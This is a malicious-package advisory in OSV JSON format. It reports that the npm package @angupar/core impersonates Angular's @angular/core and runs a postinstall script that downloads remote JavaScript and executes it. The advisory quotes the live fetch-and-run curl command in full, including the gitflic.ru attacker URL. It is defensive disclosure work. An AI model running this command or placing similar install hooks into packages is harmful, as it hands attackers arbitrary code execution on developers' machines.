{"id":"MAL-2026-17539","summary":"Malicious code in @angupar/core (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (61d3f74118d7ca9e50d79028ad472e56f68c8f86111fb03973a0c01a00b4cd84)\nPackage impersonates @angular/core (name @angupar/core, author field \"angular\", repository pointing at github.com/angular/angular, README copied from Angular). Its package.json postinstall script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching JavaScript from a third-party user account (`hellscripter` on gitflic.ru) through a web.archive.org proxy and piping it directly to the installer's Node runtime. The fetch is unpinned, has no integrity check, and resolves to a host unrelated to the Angular project. `npm install @angupar/core` therefore yields arbitrary install-time code execution under attacker control, with the typosquat on @angular/core serving as the delivery lure.\n","modified":"2026-10-05T04:15:04.301525173Z","published":"2026-10-05T03:32:05Z","database_specific":{"malicious-packages-origins":[{"source":"amazon-inspector","versions":["22.2.1"],"id":"IN-MAL-2026-020992","import_time":"2026-10-05T03:57:37.217038158Z","modified_time":"2026-10-05T03:32:05Z","sha256":"61d3f74118d7ca9e50d79028ad472e56f68c8f86111fb03973a0c01a00b4cd84"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@angupar/core/v/22.2.1"}],"affected":[{"package":{"name":"@angupar/core","ecosystem":"npm","purl":"pkg:npm/%40angupar/core"},"versions":["22.2.1"],"database_specific":{"cwes":[{"name":"Embedded Malicious Code","cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature."}],"indicators":{"package_integrity":[{"filename":"core-22.2.1.tgz","hashes":{"sha1":"460a74eafd192f442d91941fa681726b86d6b182","sha512_sri":"sha512-GnBOygH3unPWIx9N6FwJt1kihnfWxCYKvI8ik6aF4PJqW1/sngcq12Ri1ZAwOOd4Y7RuUoWZrHTjJyNsnpJd3A=="}}],"evidence_files":[{"path":"package.json","sha256":"9798dac30d32710ec167e1169037cb404586a075c9c42cda17e2823eac639688","tlsh":"bf513624e4f48d6323df6294dd2a4943b138495b5c38bd68b3dd009c8f0e61f21beb9a"}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@angupar/core/MAL-2026-17539.json"}}],"schema_version":"1.9.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}